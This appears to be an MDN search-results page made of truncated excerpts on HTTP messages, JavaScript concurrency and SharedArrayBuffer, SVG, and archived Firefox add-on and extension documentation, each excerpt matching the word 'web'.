Web server, perform this action. They provide HTTP messages through config files (for proxies or servers), APIs (for browsers), or other interfaces. The HTTP/2 binary framing mechanism has been designed to not require any alteration of the APIs or config files applied: it is broad...
...and query string. This is the most common form, known as the origin form, and is used with GET, POST, HEAD, and OPTIONS methods. POST / HTTP/1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0 A complete URL, known as the absolute form, is mostly used with GET when connected to a proxy. GET http://developer.mozilla.org/docs/
Web/HTTP/Messages HTTP/1.1 The authority component of a URL, consisting of the domain name and optionally the port (prefixed by a ':'), is called the authority form. It is only used with CONNECT when setting up an HTTP tunnel. CONNECT developer.mozilla.org:80 HTTP/1.1 The asterisk form, a simple asterisk ('*') is used with OPTIONS, representing the server as a whole. OPTIONS * HTTP/1.1 ...
...nd warm TCP connections are more efficient than cold ones. HTTP/2 introduces an extra step: it divides HTTP/1.x messages into frames which are embedded in a stream. Data and header frames are separated, this allows header compression. Several streams can be combined together, a process called multiplexing, allowing more efficient underlying TCP connections. HTTP frames are now transparent to
Web developers. This is an additional step in HTTP/2, between HTTP/1.1 messages and the underlying transport protocol. No changes are needed in the APIs used by
Web developers to utilize HTTP frames; when available in both the browser and the server, HTTP/2 is switched on and used. Conclusion HTTP messages are the key in using HTTP; their structure is simple, and they are highly extensible. The HTT...
Concurrency model and the event loop - JavaScript
that whenever a function runs, it cannot be pre-empted and will run entirely before any other code runs (and can modify data the function manipulates). This differs from C, for instance, where if a function runs in a thread, it may be stopped at any point by the runtime system to run some other code in another thread. ...
...If there is no listener, the event is lost. So a click on an element with a click event handler will add a message--likewise with any other event. ...
...Two distinct runtimes can only communicate through sending messages via the postMessage method. This method adds a message to the other runtime if the latter listens to message events. Never blocking A very interesting property of the event loop model is that JavaScript, unlike a lot of other languages, never blocks. Ha...
SharedArrayBuffer - JavaScript
t is used to represent a generic, fixed-length raw binary data buffer, similar to the ArrayBuffer object, but in a way that they can be used to create views on shared memory. Unlike an ArrayBuffer, a SharedArrayBuffer cannot become detached. Description Allocating and sharing memory To share memory using SharedArrayBuffer objects from one agent in the cluster to another (an agent is either the
web page's main program or one of its
web workers), postMessage and structured cloning is used. The structured clone algorithm accepts SharedArrayBuffers and TypedArrays mapped onto SharedArrayBuffers. In both cases, the SharedArrayBuffer object is transmitted to the receiver resulting in a new, private SharedArrayBuffer object in the receiving agent (just as for ArrayBuffer). However, the shared da...
...1024); worker.postMessage(sab); Updating and synchronizing shared memory with atomic operations Shared memory can be created and updated simultaneously in workers or the main thread. Depending on the system (the CPU, the OS, the Browser) it can take a while until the change is propagated to all contexts. To synchronize, atomic operations are needed. APIs which use SharedArrayBuffer objects
WebGLRenderingContext.bufferData()
WebGLRenderingContext.bufferSubData()
WebGL2RenderingContext.getBufferSubData() Security requirements Shared memory and high-resolution timers were effectively disabled at the start of 2018 in light of Spectre. In 2020, a new, secure approach has been standardized to re-enable shared memory. With a few security measures, postMessage() will no longer throw for S...
...array, as opposed to from the beginning. Examples Creating a new SharedArrayBuffer var sab = new SharedArrayBuffer(1024); Slicing the SharedArrayBuffer sab.slice(); // SharedArrayBuffer { byteLength: 1024 } sab.slice(2); // SharedArrayBuffer { byteLength: 1022 } sab.slice(-2); // SharedArrayBuffer { byteLength: 2 } sab.slice(0, 1); // SharedArrayBuffer { byteLength: 1 } Using it in a
WebGL buffer const canvas = document.querySelector('canvas'); const gl = canvas.getContext('
webgl'); const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, sab, gl.STATIC_DRAW); Specifications Specification ECMAScript (ECMA-262)The definition of 'SharedArrayBuffer' in that specification. ...
Destructuring assignment - JavaScript
the string that matched each parenthesized group in the regular expression. Destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...expression. Destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
... let a, b; ({a, b} = {a: 1, b: 2}); Notes: The parentheses ( ...
<a> - SVG: Scalable Vector Graphics
It is very similar to HTML's <a> element. SVG's <a> element is a container, which means you can create a link around text (like in HTML) but also around any shape. ...
...ge, email addresses, or any other URL. It is very similar to HTML's <a> element. SVG's <a> element is a container, which means you can create a link around text (like in HTML) but also around any shape. ...
...ch means you can create a link around text (like in HTML) but also around any shape. @namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- A link around a shape --> <a href="/docs/
Web/SVG/Element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- A link around a text --> <a href="/docs/
Web/SVG/Element/text"> <text x="50" y="90" text-anchor="middle"> <circle> </text> </a> </svg> /* As SVG does not provide a default visual style for links, it's considered best practice to add some */ @namespace svg url(http://www.w3.org/2000/svg); /* Necessary to select only SVG <a> elements, and not also HTML's. See warning below */ svg|a:link, svg|a:visited { cursor...
Getting started - SVG: Scalable Vector Graphics
djustments can be made to the font size and vertical position to ensure the final result is aesthetically pleasing. Basic properties of SVG files The first important thing to notice is the order of rendering elements. The globally valid rule for SVG files is, that later elements are rendered atop previous elements. The further down an element is the more it will be visible. SVG files on the
web can be displayed directly in the browser or embedded in HTML files via several methods: If the HTML is XHTML and is delivered as type application/xhtml+xml, the SVG can be directly embedded in the XML source. If the HTML is HTML5, and the browser is a conforming HTML5 browser, the SVG can also be directly embedded. However, there may be syntax changes necessary to conform to the HTML5 sp...
...zip-compressed SVG files. The recommended filename extension for these files is ".svgz" (all lowercase). Unfortunately, it is very problematic to get gzip-compressed SVG files to work reliably across all SVG capable user agents when served from a Microsoft IIS server, and Firefox cannot load gzip-compressed SVG from the local computer. Avoid gzip-compressed SVG except when you are publishing to a
webserver that you know will serve it correctly (see below). A word on
Webservers Now that you have an idea of how to create basic SVG files, the next stage is to upload them to a
Webserver. There are some gotchas at this stage though. For normal SVG files, servers should send the HTTP headers: Content-Type: image/svg+xml Vary: Accept-Encoding For gzip-compressed SVG files, servers should send th...
...gh. For normal SVG files, servers should send the HTTP headers: Content-Type: image/svg+xml Vary: Accept-Encoding For gzip-compressed SVG files, servers should send the HTTP headers: Content-Type: image/svg+xml Content-Encoding: gzip Vary: Accept-Encoding You can check that your server is sending the correct HTTP headers with your SVG files by using the Network Monitor panel or a site such as
websniffer.cc. Submit the URL of one of your SVG files and look at the HTTP response headers. If you find that your server is not sending the headers with the values given above, then you should contact your
Web host. If you have problems convincing them to correctly configure their servers for SVG, there may be ways to do it yourself. See the server configuration page on the w3.org for a range of si...
Two Types of Scripts - Archive of obsolete content
This enables you to call functions like: window.alert("Hello there"); In an add-on's main scripts you can't do that, because the add-on code does not execute in the context of a page, and the DOM is therefore not available. If you need to access the DOM of a particular page, you need to use a content script. So there are two distinct sorts of JavaScript scripts you might include in your add-on and they have access to different sets of APIs. In the SDK documentation we call one sort "add-on code" and the other sort "content scripts". Add-on Code This is the place where the main logic of your add-on is implemented. ...
...module implemented by a script called "main.js", but you can include additional modules in lib, and import them using the require() function. To learn how to implement and import your own modules, see the tutorial on Implementing Reusable Modules. Content Scripts While your add-on will always have a "main.js" module, you will only need to write content scripts if your add-on needs to manipulate
web content. Content scripts are injected into
web pages using APIs defined by some of the SDK's modules such as page-mod and panel. Content scripts may be supplied as literal strings or maintained in separate files and referenced by filename. If they are stored in separate files you should store them under the data directory under your add-on's root. To learn all about content scripts read the Wor...
indexed-db - Archive of obsolete content
Experimental Exposes the IndexedDB API to add-ons. Usage Scripts running in
web pages can access IndexedDB via the window object. For example: window.indexedDB = window.indexedDB || window.
webkitIndexedDB || window.mozIndexedDB || window.msIndexedDB; var request = window.indexedDB.open("MyDatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; Because your main add-on code can't access the DOM, you can't do this. So you can use the indexed-db module to access the same API: var { indexedDB } = require('sdk/indexed-db'); var request = indexedDB.open('MyDatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; Mo...
... API, such as IDBTransaction, IDBOpenDBRequest, and IDBObjectStore, are accessible through the indexedDB object itself. The API exposed by indexed-db is almost identical to the DOM IndexedDB API, so we haven't repeated its documentation here, but refer you to the IndexedDB API documentation for all the details. The database created will be unique and private per add-on, and is not linked to any
website database. The module cannot be used to interact with a given
website database. See bug 778197 and bug 786688. Example This example uses the action button API, which is only available from Firefox 29 onwards. Here's a complete add-on that adds two buttons to the browser: the button labeled "Add" adds the title of the current tab to a database, while the button labeled "List" lists all the...
simple-storage - Archive of obsolete content
Usage The simple storage module exports an object called storage that is persistent and scoped to your add-on. It's a normal JavaScript object, and you can treat it as you would any other. ...
...ied that you're over quota, you should respond by removing data from the storage space until your quotaUsage is less than or equal to 1. Which particular data you remove is up to you. For example: ss.storage.myList = [ /* some long array */ ]; ss.on("OverQuota", function () { while (ss.quotaUsage > 1) ss.storage.myList.pop(); }); Private browsing If your storage is related to your users'
Web history, personal information, or other sensitive data, your add-on should respect private browsing. To read about how to opt into private browsing mode and how to use the SDK to avoid storing user data associated with private windows, refer to the documentation for the private-browsing module. Globals Properties storage A persistent object private to your add-on. Properties with array, bool...
content/loader - Archive of obsolete content
Usage The module exports a constructor for the Loader object, which inherits on(), once(), and removeListener() functions that enable its users to listen to events. Loader adds code to initialize and validate a set of properties for managing content scripts: contentURL contentScript contentScriptFile contentScriptWhen contentScriptOptions allow When certain of these properties are set, the Loader emits a propertyChange event, enabling its users to take the appropriate action. ...
...is used by modules that use content scripts but don't themselves load content, such as page-mod. Modules that load their own content, such as panel and page-worker, use the symbiont module instead. Symbiont inherits from Loader but contains its own frame into which it loads content supplied as the contentURL option. ...
dev/panel - Archive of obsolete content
moment you can't debug remote targets (for example, Firefox OS, the Firefox OS Simulator, or Firefox for Android) using tools developed with this API. We're working on removing this restriction. Enables you to extend the Firefox Developer Tools. Most of the Firefox Developer Tools are hosted in a UI component called the Toolbox. Individual built-in tools, such as the JavaScript Debugger or the
Web Console, occupy "panels" in the toolbox. With the dev/panel module, you can create your own panels in the Toolbox: The panel gets a tab in the Toolbox toolbar which enables the user to open it: You specify the panel's content and behavior using HTML, CSS, and JavaScript. When the panel's created, the framework passes it a debuggee: this is a MessagePort object that you can use to exc...
...However, it can receive messages from the add-on...
frame/hidden-frame - Archive of obsolete content
Experimental Creates Firefox frames (i.e. XUL <iframe> elements) that are not displayed to the user. This is useful in the construction of APIs that load
web content not intended to be directly seen or accessed by users, like page-worker. It is also useful in the construction of APIs that load
web content for intermittent display, such as panel. Usage The module exports a constructor function, HiddenFrame, and two other functions, add and remove. HiddenFrame constructs a new hidden frame. add registers a hidden frame, preparing it to load content. remove unregisters a frame, unloading any content that was loaded in it. ...
...Is that load
web content for intermittent display, such as panel. Usage The module exports a constructor function, HiddenFrame, and two other functions, add and remove. HiddenFrame constructs a new hidden frame. add registers a hidden frame, preparing it to load content. remove unregisters a frame, unloading any content that was loaded in it. ...
ui/frame - Archive of obsolete content
ame] }); The toolbar is positioned between the address bar and the content window. It occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (HiDPI) display. This toolbar might look something like: Scripting frames To add scripts to frames, include them directly from the frame's HTML content, as with a normal
web page: <script type="text/javascript" src="frame.js"></script> As usual, the path to the script is relative to the HTML file's location. Messages logged from a frame script using the console will not appear in the terminal when you run the add-on using jpm run. However, they will appear in the Browser Console. This issue is being tracked as bug 982385. Communicating with frames You can exch...
...er windows, you can use Frame.postMessage(). ...
Low-Level APIs - Archive of obsolete content
ccess to a large set of privileged low-level Firefox APIs. console/plain-text Constructor for a console instance. console/traceback Functionality similar to Python's traceback module. content/content Re-exports three objects from three other modules: Loader, Worker, and Symbiont. content/loader Provides one of the building blocks for those modules that use content scripts to interact with
web content, such as panel and page-mod. content/mod Provides functions to modify a page content. content/symbiont Used by SDK modules that can load
web content and attach content scripts to it. content/worker Used in the internal implementation of SDK modules which use content scripts to interact with
web content. core/heritage Helper functions for inheritance. core/namespace Provides an A...
...icon Helper functions for working with favicons. places/history Access the user's browsing history. platform/xpcom Implement XPCOM objects, factories, and services. preferences/event-target Listen to changes to the Preferences system in Firefox. preferences/service Access the Preferences system in Firefox. remote/child Enables an SDK module loaded into a child process to access
web content in the child process and communicate with modules in the main process. remote/parent Enables you to load modules, and privileged parts of your add-on in general, into child processes. stylesheet/style Modify styles using stylesheet files or CSS rules. stylesheet/utils Helper functions for working with stylesheets. system/child_process An implementation of the node.js child_process...
Add-on SDK - Archive of obsolete content
The SDK includes JavaScript APIs, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. Tutorials Getting started How to install the SDK and use the jpm tool to develop, test, and package add-ons. Interact with the browser Open
web pages, listen for pages loading and list open pages. Development techniques Learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. ...
... Putting it together Walkthrough of the Annotator example add-on. ...
Canvas code snippets - Archive of obsolete content
This can be very useful to compare for example if a user has painted over another area as explained in this blog post. ...
...nto a canvas element The following class first creates a hidden iframe element and attaches a listener to the frame's load event. Once the remote page has loaded, the remotePageLoaded method fires. This method gets a reference to the iframe's window and draws this window to a canvas object. Note that this only works if you are running the page from chrome. If you try running the code as a plain
webpage, you will get a 'Security error" code: "1000' error. RemoteCanvas = function() { this.url = 'http://developer.mozilla.org'; }; RemoteCanvas.CANVAS_WIDTH = 300; RemoteCanvas.CANVAS_HEIGHT = 300; RemoteCanvas.prototype.load = function() { var windowWidth = window.innerWidth - 25; var iframe; iframe = document.createElement('iframe'); iframe.id = 'test-iframe'; iframe.
Miscellaneous - Archive of obsolete content
var Ci = Components.interfaces; var Cc = Components.classes; //assume you can not get the main window object directly, if you can, just use it var wm = Cc["@mozilla.org/appshell/window-mediator;1"].getService(Ci.nsIWindowMediator); var mainWindow = wm.getMostRecentWindow("navigator:browser"); //get sessionHistory from th...
.... var Ci = Components.interfaces; var Cc = Components.classes; //assume you can not get the main window object directly, if you can, just use it var wm = Cc["@mozilla.org/appshell/window-mediator;1"].getService(Ci.nsIWindowMediator); var mainWindow = wm.getMostRecentWindow("navigator:browser"); //get sessionHistory from the current selected tab var history = mainWindow.gBrowser.selectedBrowser.
webNavigation.sessionHistory; And then get the page you want, and it's postData. This example obtains the post data of the last page. var postdata = history.getEntryAtIndex(history.index-1,false).QueryInterface(Ci.nsISHEntry).postData; If you got here all by yourself, your problem must be at reading the postData, because it's a nsIInputStream object, whose available function always returns 0. An...
Developing add-ons - Archive of obsolete content
ons for Firefox, Thunderbird, or other software based on the Mozilla platform, as well as how to distribute your add-ons. Add-ons topics Submitting an add-on to AMO Provides helpful information for add-on developers to help them properly package and deliver their add-ons. This includes information about addons.mozilla.org, Mozilla's add-on distribution
web site. Extensions Extensions add new functionality to Mozilla applications such as Firefox, SeaMonkey and Thunderbird. They can add anything from a toolbar button to a completely new feature. Plugins Information about how to create plugins, which are binary components that let Mozilla based software display content they can't handle natively. Jetpack Browser extension...
...h as Firefox, SeaMonkey and Thunderbird. They can add anything from a toolbar button to a completely new feature. Plugins Information about how to create plugins, which are binary components that let Mozilla based software display content they can't handle natively. Jetpack Browser extension development for everyone. Jetpack developers only need to know the tools of the modern
web: HTML, CSS, and JavaScript. Themes Themes let users customize the appearance of the user interface presented by Mozilla-based applications. Search engine plugins Firefox supports search engine plugins, which enable the search box to support different search engines. addons.mozilla.org (AMO) API Developers' Guide The AMO Developers' Guide describes h...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
A common practice found in many extensions is using XMLHttpRequest (or some other mechanism) to download JavaScript or JSON (they are different) from a remote
website. Once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into JavaScript objects. This practice is dangerous and will not, in fact, pass an AMO review. So the extension will not be allowed to move out of the AMO sandbox. The practice is dangerous because the decoded JavaScript has full chrome privileges and could perform some nasty actions. How could the JavaScript an extension downloads perform nasty actions? Fairly easy if the
webserver where the JavaScript is hosted were to be hijacked or compromised. It happens to the best of us. AMO takes the threat very serio...
...nd the problem. Downloading JSON If the extension is downloading JSON, then the developer should be using one of the JSON decoding methods discussed here and not using eval() at all. JSON is about state and does not allow functions to be decoded. The JSON decoding methods available to extension developers protect the extension from malicious JSON and JavaScript. Downloading state from a remote
webserver using JSON is becoming extremely popular. Use the JSON decoders, not eval()! Downloading JavaScript Of course there are times when JavaScript code modules are downloaded and injected into the extension. This usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script chan...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
omeMoreStuffWith(someStuff); } return script.toSource() + "(" + [String.quote(href), uneval(otherStuff)] + ")"; } Safely Using Remote HTML In the above cases, we're working with text content that needs to appear in generated DOM. There are cases, however, where we need to safely display formatted HTML sent by a remote server. Fortunately, there is a safe and simple way to do this. For
WebExtensions the most simple way is sanitize the output about javaScript inline declaration and other wrong content. For XUL addon based the nsIParserUtils.parseFragment() method will convert a string to a document fragment while removing any scripts or other unsafe content in the process. let { Cc, Ci } = require("chrome"); /** * Safely parse an HTML fragment, removing any executable * JavaScri...
...); } return Cc["@mozilla.org/feed-unescapehtml;1"] .getService(Ci.nsIScriptableUnescapeHTML) .parseFragment(html, !!isXML, baseURI, doc.documentElement); } The returned fragment may be appended to any element in the given document. ...
Introduction - Archive of obsolete content
Foundation, the Mozilla Corporation and the old Mozilla browser. Even Firefox is sometimes referred to as "Mozilla". If you're unfamiliar with these terms, it's good that you take some time and learn a little about Mozilla. This will help you understand the culture that surrounds the Mozilla community. Mozilla has spawned several products and projects, the most notable being the Mozilla Firefox
web browser. Firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open source with the focus on user experience and powerful outreach more commonly seen in less open companies. Version 1.0 of Firefox was released in November 2004, version 2.0 in October 2006, and version 3.0 in June 2008. This tutorial was written a...
... platform that has allowed such a fast growth of the development community surrounding Mozilla and Firefox. XULRunner is available in binary form at the XULRunner page, and it is the base for several projects, such as Songbird, Miro and Eudora. There's a very comprehensive list of XULRunner applications in the XULRunner Hall of Fame. Gecko The Gecko engine is the part of Firefox used to render
web pages and its own user interface. You can identify the level of compatibility of
web standards in Gecko-based browsers looking at their User Agent string, which should include the Gecko version. Gecko versions are somewhat independent from Firefox versions, and you can see a mapping of Firefox versions and Gecko versions at the Gecko page. The User Agent String for Firefox at the time of this wri...
Setting up an extension development environment - Archive of obsolete content
s for problems with their code in addition to warnings for your own extension. You can filter those with Console2. devtools.chrome.enabled = true. This enables to run JavaScript code snippets in the chrome context of the Scratchpad from the Tools menu. Don't forget to switch from content to browser as context. devtools.debugger.remote-enabled = true. This adds a "Browser Debugger" entry to the "
Web Developer" submenu of the "Tools" menu. The Browser Debugger can be used to debug the JavaScript code of extensions. The devtools.chrome.enabled preference must also be set to true for the Browser Debugger to be enabled. devtools.debugger.prompt-connection = false. This prevents the Browser Debugger from prompting for connection permission every time. extensions.logging.enabled = true. This wi...
...te: The Error Console is disabled by default starting in Gecko 2.0. You can re-enable it by changing the devtools.errorconsole.enabled preference to true and restarting the browser. With this, javascript.options.showInConsole is also set to true by default. Development extensions These extensions may help you with your development. ...
Signing an XPI - Archive of obsolete content
o users. For this guide I applied for a free certificate from Unizeto Certum. After completing the application process where I entered my details into the online application, I received an automated email requesting documentary evidence of my ID in the form of a photo-ID or similar. I have hi-resolution scanned images of my passport and drivers license for these situations so I placed them on my
web-server temporarily in a hidden location and emailed Unizeto Certum with the details and location of the files. Within a few hours I received a confirmation email from a human accepting the ID images and giving me a hyperlink to the certifcate download area. Install the certificate into Mozilla Firefox (which goes with the private key created earlier), and copy/paste the displayed certificate tex...
...e root CAs for different levels of trust. find out which one was used for your certificate and download it. You can view the details of your certificate in Mozilla Firefox and get this information from the Issued By Common Name (Unizeto Certum's free certificate CA is Certum Level III CA). Download the Root CA and any intermediate certificates used to sign your certificate from the Issuer; their
web site will have a link somewhere to their root CAs and public certificates. (Certum public key page). I downloaded the Certum Root CA and Certum Level III CA Digital ID for
web and SSL/TLS Servers, copied the text and saved them to the files C:\Projects\CodeSigning\Certum Root CA.cer and C:\Projects\CodeSigning\Certum Level III CA.cer. Open a command prompt (ensure the paths to the NSS tools are ...
Updating addons broken by private browsing changes - Archive of obsolete content
h Matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it. ...
...the clipboard for information about the new init method. imgICache: This must no longer be obtained as a service. See the imgICache article for more information. mozIAsyncFavicons/nsIFaviconService: setAndFetchFaviconForPage/setAndLoadFaviconForPage now take a required privacy status argument, either nsIFaviconService.FAVICON_LOAD_PRIVATE or nsIFaviconService.FAVICON_LOAD_NON_PRIVATE. nsI
WebBrowserPersist: saveURI gained a new argument; see the nsI
WebBrowserPersist docs for more information. nsIContentPrefService: getPref, setPref, hasPref, hasCachedPref, removePref, removeGroupedPrefs, removePrefsByName, getPrefs, and getPrefsByName all take a required nsILoadContext argument to indicate the privacy status of the pref in question. Use PrivateBrowsingUtils.getPrivacyContextFromWin...
Defining Cross-Browser Tooltips - Archive of obsolete content
Summary: Authors are used to having alt text appear as a "tooltip" above images, but that's not how it was meant to be used. Learn how to define "tooltips" in a cross-browser, standards-friendly way. Authors are used to using the alt attribute to create "tooltips" in
Web browsers. The classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." Gecko-based browsers such as Mozilla, Netscape 6+, and Compuserve 7 do not support this behavior. See bug 25537 for a lengthy, sometimes passionate discussion of Gecko's behavior in this regard. The Problem According to the HTML 4.01 definition of the alt attribute: alt = text CS For user agents that cannot display imag...
... which is to run a proxy server that rewrites HTML source on the fly, as it is sent to the user. In this approach, the server checks outgoing HTML for elements that have an alt attribute but no title attribute, and inserts a title attribute with the same content as the alt attribute. A variant on Christian's original suggestion was made by "CT" in bug 25537. A similar solution can be employed for
Web servers that are based on content management systems, including Microsoft's Active Server Pages, which make such substitutions fairly simple. Recommendations Use the title attribute (instead of alt) to ensure desired tooltip behavior in multiple browsers. Authors able to run content-rewriting proxy servers can use them to dynamically alter outgoing content to ensure both the title and alt at...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
Whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer GIFs, the principles (and perils) remain largely the same. ...
...Whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer GIFs, the principles (and perils) remain largely the same. ...
Bookmark Keywords - Archive of obsolete content
In addition to being handy pointers to useful resources, bookmarks in Mozilla can be used to make the address bar itself a power tool. Searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. The key to this ability, if you'll pardon the pun, is the ability to add a keyword to any Mozilla bookmark. Under ordinary circumstances, this might be used to reduce typing of a common URL: http://www.cnn.com/ could be given the keyword cnn. Once that's done, all it takes to go to the CNN home page would be to type <tt>cnn</tt> into the address bar. ...
...ne, making the keymark work is a simple matter of going into the Bookmark manager and adding a keyword! Bookmark Suggested Keywords Find Bugzilla entry bug, bugzilla, bz Search Devmo devmo, de Google Search google, gg Dictionary Search dictionary, dict, define, word Thesaurus Search thesaurus, like FedEx Tracking fedex UPS Tracking ups Of course, these are just a beginning. Any
Web site that you commonly search is a candidate for its own keymark. Acknowledgements Thanks to Asa Dotzler and his article How Cool are Custom Keywords?, which provided the inspiration to write this article. Original Document Information Author(s): Eric A. Meyer, Netscape Communications Last Updated Date: Published 15 Mar 2002 Copyright Information: Copyright (C) 2001-2003 Netscape. All r...
Tinderbox - Archive of obsolete content
The tool enables mozilla.org to be immediately notified of changes to the code that prevent Mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or reverse the changes. Mozilla engineers regularly check Tinderbox before changing the code because changes are prohibited while the codebase is broken. The Mozilla sheriff, a rotating position responsible for watching the code and getting engineers to fix breakage, checks Tinderbox even more regularly. ...
...nt) so they can get someone to fix the problem or reverse the changes. Mozilla engineers regularly check Tinderbox before changing the code because changes are prohibited while the codebase is broken. The Mozilla sheriff, a rotating position responsible for watching the code and getting engineers to fix breakage, checks Tinderbox even more regularly. While it isn't difficult to load the Tinderbox
web page or sidebar, it would be useful to have an even quicker way to check tinderbox that doesn't require going to a
web page, changing sidebars, or even having the sidebar open. Although there are multiple tinderbox clients machines doing different kinds of builds (f.e. different platforms), most people only care about the overall situation, i.e. whether or not any clients have failed. By checking...
Creating a Mozilla Extension - Archive of obsolete content
em to the context menu for opening multiple links in a document or selection). This tutorial walks you through the process of building a Mozilla extension that adds an icon to Mozilla's status bar showing the current status of the Mozilla source code (i.e. whether or not the latest version of the code is compiling successfully and passing tests). ...
... extension will access Tinderbox, mozilla.org's
webtool for tracking source code status, to get the status of the code. Completing this tutorial will give you a basic understanding of how Mozilla's user interface (UI) is constructed, how to find the source code for the UI you want to extend, how to make an installation of Mozilla modifiable, how to use Mozilla's network library to load and parse
web pages in JavaScript, and how to use dynamic overlays to package a Mozilla extension for installation by others. Contents Prerequisites Tinderbox Making a Mozilla installation modifiable Finding the file to modify Finding the code to modify Adding the structure Specifying the appearance Enabling the behavior - retrieving tinderbox status Enabling the behavior - updating the status bar ...
Getting Started - Archive of obsolete content
For this reason we suggest that you install a second copy into a second directory (Make sure that you use a different profile as stated in the release notes) Extract the chrome The chrome is stored in \mozilla\chrome and the individual modules are stored in Jar files. ...
...ng sure to include the paths (Do not include the \mySkin directory inside of the zip, just the files inside of \mySkin). Once the zip is created, rename it to mySkin.jar Contents of mySkin.jar contents.rdf preview.png \navigator\... \messenger\... \global\... \editor\... \communicator\... Triggering the install from the
web To install your jar file directly from the
web, you need to run some JavaScript. <a href="javascript:InstallTrigger.installChrome(InstallTrigger.SKIN, 'myskin.jar', 'My Skin Theme')">install My Skin</a> If you have jar files on your hard drive and would like to install them, then download/use this form. ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
d. Main Roles nsDocShell This class corresponds, basically, to a "window" object in JavaScript -- each frame, iframe, content area, tab, etc has its own docshell. A docshell can have a name associated with it (e.g. a named frame). All loads that we consider in this document are initiated via the docshell. nsDocShell implements too many interfaces to count; the ones that matter to us most are nsI
WebNavigation and nsILinkHandler. nsURILoader This is a service implementing nsIURILoader. It keeps track of currently pending loads and registered content listeners. Some facilities are provided for starting loads, canceling loads, and other such micromanagement. nsDocumentOpenInfo This class encapsulates all the information related to a particular load. There is basically one of these per load (tho...
...prose description below has been updated. The changes do not affect functionality and the step numbers in the diagram are still accurate. Guided Tour During startup and component initialization, components register themselves with the URILoader via RegisterContentListener. These registered listeners are used later during content dispatch. API calls to load a new URI. These can come in via nsI
WebNavigation (a scriptable embedding interface) or nsILinkHandler (an internal interface used for link clicks). Both interfaces are implemented by ns
WebShell/nsDocShell. These API calls will typically pass in a URI string or object to load, and may include information like the name of the target frame (for <a target="something">, e.g.). nsDocShell::InternalLoad() handles targeting to the correct d...
Layout System Overview - Archive of obsolete content
Layout is used to implement both a full-blown WYSIWYG HTML editor, and a single and multi-line text entry control. In both cases, the content is manipulated by the user (via the DOM) and the resulting visual impacts must be shown as quickly as possible, without disconcerting flicker or other artifacts that might bother the user. Consider a text entry field: the user types text into a form on the
web. As the user types a new character it is inserted into the content model. This causes layout to be notified that a new piece of content has been entered, which causes Layout to create a new frame and format it. This must happen very fast, so the user's typing is not delayed. In the case of the WYSIWYG HTML editor, the user expects that the modifications they make to the document will appear immed...
... one or more lines. A line is a single row of text or other presentational elements. All layout happens in the context of a block, and all of the contents of a block are formatted into lines within that block. As the width of a block is changed, the contents of the lines must be reformatted. Consider for example a large paragraph of text sitting in paragraph: <p> We need documentation for users,
web developers, and developers working on Mozilla. If you write your own code, document it. Much of the existing code <b>isn't very well documented</b>. In the process of figuring things out, try and document your discoveries. If you'd like to contribute, let us know. </p> There is one block that corresponds to the <p> element, and then a number of lines of text that correspond to the text. As t...
Code snippets - Archive of obsolete content
This page documents how to perform custom actions with Firefox Sync via JavaScript. All of the in this page must be executed in a chrome-privileged console. To access a chrome-privileged console, open an about page (like about:about) then open a
Web Console via the
Web Developer menu. Tabs from Other Computers This snippet shows how to load all tabs from other computers. Components.utils.import("resource://services-sync/main.js"); // Obtain a reference to the main Firefox window. ...
...) then open a
Web Console via the
Web Developer menu. Tabs from Other Computers This snippet shows how to load all tabs from other computers. Components.utils.import("resource://services-sync/main.js"); // Obtain a reference to the main Firefox window. ...
Introducing the Audio API extension - Archive of obsolete content
nd to create new audio data. Obsolete since Gecko 28 (Firefox 28 / Thunderbird 28 / SeaMonkey 2.25 / Firefox OS 1.3)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Deprecated since Gecko 22 (Firefox 22 / Thunderbird 22 / SeaMonkey 2.19)This feature has been removed from the
Web standards. Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Please note that this document describes a non-standard experimental API. This API has been deprecated sin...
... dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Please note that this document describes a non-standard experimental API. This API has been deprecated since Gecko 22, disabled since Gecko 28, and removed from Gecko 31. You should use the
Web Audio API instead. Reading audio streams The loadedmetadata event When the metadata of the media element is available, it triggers a loadedmetadata event. This event has the following attributes: mozChannels: Number of channels mozSampleRate: Sample rate per second mozFrameBufferLength: Number of samples collected in all channels This information is needed later to decode the audio data...
Extensions - Archive of obsolete content
sion> </Description> </em:targetApplication> In addition to the install manifest changes, you may want to expose your extension into the Prism UI. Prism does have a few UI elements, such as a toolbox, toolbar, menubar, popup menus, statusbar and a container for the browser. You can use these UI elements to merge in your extension UI. See the Prism main window XUL file for the actual structure:
